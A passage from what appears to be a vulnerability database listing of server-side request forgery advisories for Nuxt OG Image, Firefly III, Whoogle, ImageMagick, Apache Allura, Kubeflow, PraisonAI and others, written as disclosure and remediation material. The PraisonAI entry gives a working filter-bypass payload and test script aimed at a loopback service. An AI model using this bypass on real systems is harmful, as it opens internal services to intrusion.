false,\n+ restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? true,\n```\n\nWhen `strict` is `true`, the runtime should refuse to start with `secret === \u0027\u0027` and emit a clear error pointing to the docs (similar to how Nuxt itself errors when `runtimeConfig` secrets are unset in production).\n\n#### Defense in depth (long-term)\n\n- Validate `fonts[*]` shape at decode time in `decodeOgImageParams`. Reject any `fonts[i].path` that is not a relative path or in the allowlist.\n- Tighten `COMPLEX_PARAMS`: every JSON-parsed key (`satori`, `resvg`, `sharp`, `screenshot`, `takumi`, `fonts`) must have a schema validator. Today they are blind-trusted across the URL boundary.\n- Document `nuxt-og-image`\u0027s threat model explicitly: which URL parameters are attacker-controlled by design, which `runtimeConfig` keys must be set in production, which defaults are unsafe.",
  "id": "GHSA-q8hw-4fvp-9rwv",
  "modified": "2026-09-17T14:48:56Z",
  "published": "2026-09-17T14:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-q8hw-4fvp-9rwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/pull/637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/commit/243cac2228671d3711c2bd65e300c278fcdf5a4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-modules/og-image"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/releases/tag/v6.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter"
}

GHSA-Q8PQ-98HQ-MG7F

Vulnerability from github – Published: 2026-08-05 12:31 – Updated: 2026-08-05 12:31
VLAI
Details

Firefly III's webhook URL validator (IsValidWebhookUrl.php) filters most private/reserved IPv4 ranges but contains an explicit early-return that allows any resolved address in 127.0.0.0/8, permitting an authenticated user (with webhooks enabled, which is off by default) to configure a webhook targeting loopback services on the server. Additionally, the validator resolves the target hostname once via gethostbyname() at validation time, but the actual outbound request (StandardWebhookSender.php, via Guzzle) re-resolves the hostname independently at send time, allowing a DNS-rebinding attacker to pass validation against a public IP and have the real request delivered to a private or internal address. The webhook response body is only written to a server-side debug log, not returned to the triggering user, so this is a blind SSRF primitive rather than one with direct response read-back.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-71250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T11:16:28Z",
    "severity": "MODERATE"
  },
  "details": "Firefly III\u0027s webhook URL validator (IsValidWebhookUrl.php) filters most private/reserved IPv4 ranges but contains an explicit early-return that allows any resolved address in 127.0.0.0/8, permitting an authenticated user (with webhooks enabled, which is off by default) to configure a webhook targeting loopback services on the server. Additionally, the validator resolves the target hostname once via gethostbyname() at validation time, but the actual outbound request (StandardWebhookSender.php, via Guzzle) re-resolves the hostname independently at send time, allowing a DNS-rebinding attacker to pass validation against a public IP and have the real request delivered to a private or internal address. The webhook response body is only written to a server-side debug log, not returned to the triggering user, so this is a blind SSRF primitive rather than one with direct response read-back.",
  "id": "GHSA-q8pq-98hq-mg7f",
  "modified": "2026-08-05T12:31:32Z",
  "published": "2026-08-05T12:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71250"
    },
    {
      "type": "WEB",
      "url": "https://github.com/firefly-iii/firefly-iii"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q97G-C29H-X2P7

Vulnerability from github – Published: 2024-03-14 20:37 – Updated: 2024-03-14 20:37
VLAI
Summary
Whoogle Search Path Traversal vulnerability
Details

Whoogle Search is a self-hosted metasearch engine. In versions prior to 0.8.4, the element method in app/routes.py does not validate the user-controlled src_type and element_url variables and passes them to the send method which sends a GET request on lines 339-343 in request.py, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "whoogle-search"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-14T20:37:57Z",
    "nvd_published_at": "2024-01-23T18:15:18Z",
    "severity": "CRITICAL"
  },
  "details": "Whoogle Search is a self-hosted metasearch engine. In versions prior to 0.8.4, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a GET request on lines 339-343 in `request.py`, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.",
  "id": "GHSA-q97g-c29h-x2p7",
  "modified": "2024-03-14T20:37:58Z",
  "published": "2024-03-14T20:37:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benbusby/whoogle-search"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/request.py#L339-L343"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L465-L490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L466"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L476"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/whoogle-search/PYSEC-2024-20.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-186_GHSL-2023-189_benbusby_whoogle-search"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Whoogle Search Path Traversal vulnerability"
}

GHSA-Q994-GG9F-3G56

Vulnerability from github – Published: 2022-05-14 02:46 – Updated: 2025-10-22 00:31
VLAI
Details

The (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image.

Severity
6.3 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-3718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-05-05T18:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image.",
  "id": "GHSA-q994-gg9f-3g56",
  "modified": "2025-10-22T00:31:14Z",
  "published": "2022-05-14T02:46:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3718"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:0726"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2016-3718"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1332802"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/06/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201611-21"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3718"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/39767"
    },
    {
      "type": "WEB",
      "url": "https://www.imagemagick.org/discourse-server/viewtopic.php?f=4\u0026t=29588"
    },
    {
      "type": "WEB",
      "url": "https://www.imagemagick.org/script/changelog.php"
    },
    {
      "type": "WEB",
      "url": "http://git.imagemagick.org/repos/ImageMagick/blob/a01518e08c840577cabd7d3ff291a9ba735f7276/ChangeLog"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00051.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-0726.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3580"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/05/03/18"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/538378/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.slackware.com/security/viewer.php?l=slackware-security\u0026y=2016\u0026m=slackware-security.440568"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2990-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9H9-QWH3-9392

Vulnerability from github – Published: 2026-09-12 00:31 – Updated: 2026-10-03 00:31
VLAI
Details

An application programming interface endpoint accepts a user-supplied value and interpolates it directly into the path of a backend request to the underlying search and analytics data store, without restricting its contents. This allows an authenticated attacker to substitute an arbitrary backend path, causing the application's own elevated service credentials to be used against unintended internal endpoints. This could allow an attacker to enumerate or read internal configuration and administrative data from the backend data store that would otherwise be restricted.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-90446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T22:16:46Z",
    "severity": "MODERATE"
  },
  "details": "An application programming interface endpoint accepts a user-supplied value and interpolates it directly into the path of a backend request to the underlying search and analytics data store, without restricting its contents. This allows an authenticated attacker to substitute an arbitrary backend path, causing the application\u0027s own elevated service credentials to be used against unintended internal endpoints. This could allow an attacker to enumerate or read internal configuration and administrative data from the backend data store that would otherwise be restricted.",
  "id": "GHSA-q9h9-qwh3-9392",
  "modified": "2026-10-03T00:31:12Z",
  "published": "2026-09-12T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90446"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/OT/white/2026/icsa-26-254-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-254-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q9JM-8X7Q-2V2G

Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-12 21:31
VLAI
Details

Apache Allura's webhooks are vulnerable to Server-Side Request Forgery (SSRF).

This issue affects Apache Allura: before 1.19.1.

Users are recommended to upgrade to version 1.19.1, which fixes the issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-69223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:19:06Z",
    "severity": "CRITICAL"
  },
  "details": "Apache Allura\u0027s webhooks are vulnerable to\u00a0Server-Side Request Forgery (SSRF).\n\nThis issue affects Apache Allura: before 1.19.1.\n\nUsers are recommended to upgrade to version 1.19.1, which fixes the issue.",
  "id": "GHSA-q9jm-8x7q-2v2g",
  "modified": "2026-08-12T21:31:31Z",
  "published": "2026-08-11T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69223"
    },
    {
      "type": "WEB",
      "url": "https://allura.apache.org/posts/2026-allura-1.19.1.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/9xpltfm6nombd7rdrx5o0hh8kxmm82pb"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/11/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9M2-3393-574Q

Vulnerability from github – Published: 2026-10-13 21:33 – Updated: 2026-10-13 21:33
VLAI
Details

Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants' InferenceServices cluster-wide.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-110220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-13T19:18:46Z",
    "severity": "HIGH"
  },
  "details": "Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants\u0027 InferenceServices cluster-wide.",
  "id": "GHSA-q9m2-3393-574q",
  "modified": "2026-10-13T21:33:38Z",
  "published": "2026-10-13T21:33:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/hub"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/hub/blob/v0.3.17/cmd/controller/main.go#L224-L228"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/hub/blob/v0.3.17/pkg/inferenceservice-controller/controller.go#L268-L292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeflow/hub/blob/v0.3.17/pkg/openapi/client.go#L420-L423"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/kubeflow-hub-controller-token-url-forwarding"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kubeflow-model-registry-through-0.3.17-ssrf-via-inferenceservice-controller-url-annotation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q9M9-PCC5-V5HF

Vulnerability from github – Published: 2024-10-31 21:31 – Updated: 2025-06-12 18:31
VLAI
Details

Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-48360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-31T20:15:05Z",
    "severity": "HIGH"
  },
  "details": "Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.",
  "id": "GHSA-q9m9-pcc5-v5hf",
  "modified": "2025-06-12T18:31:07Z",
  "published": "2024-10-31T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenXP-Research/CVE-2024-48360"
    },
    {
      "type": "WEB",
      "url": "https://www.qualitor.com.br/official-security-advisory-cve-2024-48360"
    },
    {
      "type": "WEB",
      "url": "https://www.qualitor.com.br/qualitor-8-20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9PW-VMHH-384G

Vulnerability from github – Published: 2026-05-06 22:08 – Updated: 2026-05-12 13:33
VLAI
Summary
PraisonAI has an SSRF bypass
Details

Summary

The URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current PraisonAI project uses _validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

QQ20260424-151256-24-1

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _validate_url for URL validation, and then using _get_session().get to send the request.

QQ20260424-151437-24-2

In reality, its underlying mechanism is requests.get.

QQ20260424-151645-24-3

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

import sys
from pathlib import Path
from pprint import pprint

sys.path.insert(0, str(Path(r"D:/BaiduNetdiskDownload/PraisonAI-main/PraisonAI-main/src/praisonai-agents")))

from praisonaiagents.tools import spider_tools

# url = "http://127.0.0.1:6666\@1.1.1.1"
url = "http://127.0.0.1:6666"

result = spider_tools.scrape_page(url)

if isinstance(result, dict) and "error" in result:
    print("scrape failed:", result["error"])
else:
    pprint(result)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.

QQ20260424-152007-24-4

However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666, bypassing the detection and achieving an SSRF attack.

QQ20260424-152123-24-5

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.31"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:08:11Z",
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.\n\n### Details\nThe current PraisonAI project uses _validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.\n\n\u003cimg width=\"1290\" height=\"1145\" alt=\"QQ20260424-151256-24-1\" src=\"https://github.com/user-attachments/assets/d5f16b74-5ad2-444f-8600-b05f78a4b769\" /\u003e\n\nHowever, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _validate_url for URL validation, and then using _get_session().get to send the request.\n\n\u003cimg width=\"1143\" height=\"740\" alt=\"QQ20260424-151437-24-2\" src=\"https://github.com/user-attachments/assets/b1bf6ec2-d32a-4dac-b814-da819e8d3c83\" /\u003e\n\nIn reality, its underlying mechanism is requests.get.\n\n\u003cimg width=\"1042\" height=\"576\" alt=\"QQ20260424-151645-24-3\" src=\"https://github.com/user-attachments/assets/e17352c3-4205-44d6-ab6e-75566480215b\" /\u003e\n\nThe core issue:\u00a0`urlparse()`\u00a0and\u00a0`requests`\u00a0disagree on which host a URL like\u00a0`http://127.0.0.1:6666\\@1.1.1.1`\u00a0points to:\n\n- `urlparse()`\u00a0treats\u00a0`\\`\u00a0as a regular character and\u00a0`@`\u00a0as the userinfo-host delimiter, so it extracts hostname as\u00a0`1.1.1.1`\u00a0(public)\n- `requests`\u00a0treats\u00a0`\\`\u00a0as a path character, connecting to\u00a0`127.0.0.1`\u00a0(internal)\n\nBelow is a test code I wrote following the code.\n\n```\nimport sys\nfrom pathlib import Path\nfrom pprint import pprint\n\nsys.path.insert(0, str(Path(r\"D:/BaiduNetdiskDownload/PraisonAI-main/PraisonAI-main/src/praisonai-agents\")))\n\nfrom praisonaiagents.tools import spider_tools\n\n# url = \"http://127.0.0.1:6666\\@1.1.1.1\"\nurl = \"http://127.0.0.1:6666\"\n\nresult = spider_tools.scrape_page(url)\n\nif isinstance(result, dict) and \"error\" in result:\n    print(\"scrape failed:\", result[\"error\"])\nelse:\n    pprint(result)\n```\nWhen an attacker uses `http://127.0.0.1:6666/`, the existing detection logic can detect that this is an internal network address and block it.\n\n\u003cimg width=\"1068\" height=\"128\" alt=\"QQ20260424-152007-24-4\" src=\"https://github.com/user-attachments/assets/294bff10-2af6-4960-bf69-dbf3340b1e9b\" /\u003e\n\nHowever, when an attacker uses `http://127.0.0.1:6666\\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666`, bypassing the detection and achieving an SSRF attack.\n\n\u003cimg width=\"2089\" height=\"324\" alt=\"QQ20260424-152123-24-5\" src=\"https://github.com/user-attachments/assets/4421ce42-e47b-48de-a97a-56ce56a2bbc9\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@1.1.1.1\n```\n\n### Impact\nSSRF",
  "id": "GHSA-q9pw-vmhh-384g",
  "modified": "2026-05-12T13:33:12Z",
  "published": "2026-05-06T22:08:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q9pw-vmhh-384g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44335"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI has an SSRF bypass"
}

GHSA-QC95-PWFH-96QQ

Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31
VLAI
Details

The Printful Integration for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.11 via the advanced size chart REST API endpoint. This is due to insufficient validation of user-supplied URLs before passing them to the download_url() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-12375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T07:17:27Z",
    "severity": "MODERATE"
  },
  "details": "The Printful Integration for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.11 via the advanced size chart REST API endpoint. This is due to insufficient validation of user-supplied URLs before passing them to the download_url() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.",
  "id": "GHSA-qc95-pwfh-96qq",
  "modified": "2026-02-19T18:31:49Z",
  "published": "2026-02-19T18:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12375"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/printful-shipping-for-woocommerce/tags/2.2.11/includes/class-printful-rest-api-controller.php#L259"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/printful-shipping-for-woocommerce/tags/2.2.11/includes/class-printful-rest-api-controller.php#L67"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/printful-shipping-for-woocommerce/tags/2.2.11/includes/class-printful-size-guide.php#L170"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/printful-shipping-for-woocommerce/tags/2.2.11/includes/class-printful-size-guide.php#L210"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3439592%40printful-shipping-for-woocommerce\u0026new=3439592%40printful-shipping-for-woocommerce\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cb410aa-3941-4e19-8de4-622a94766ee8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

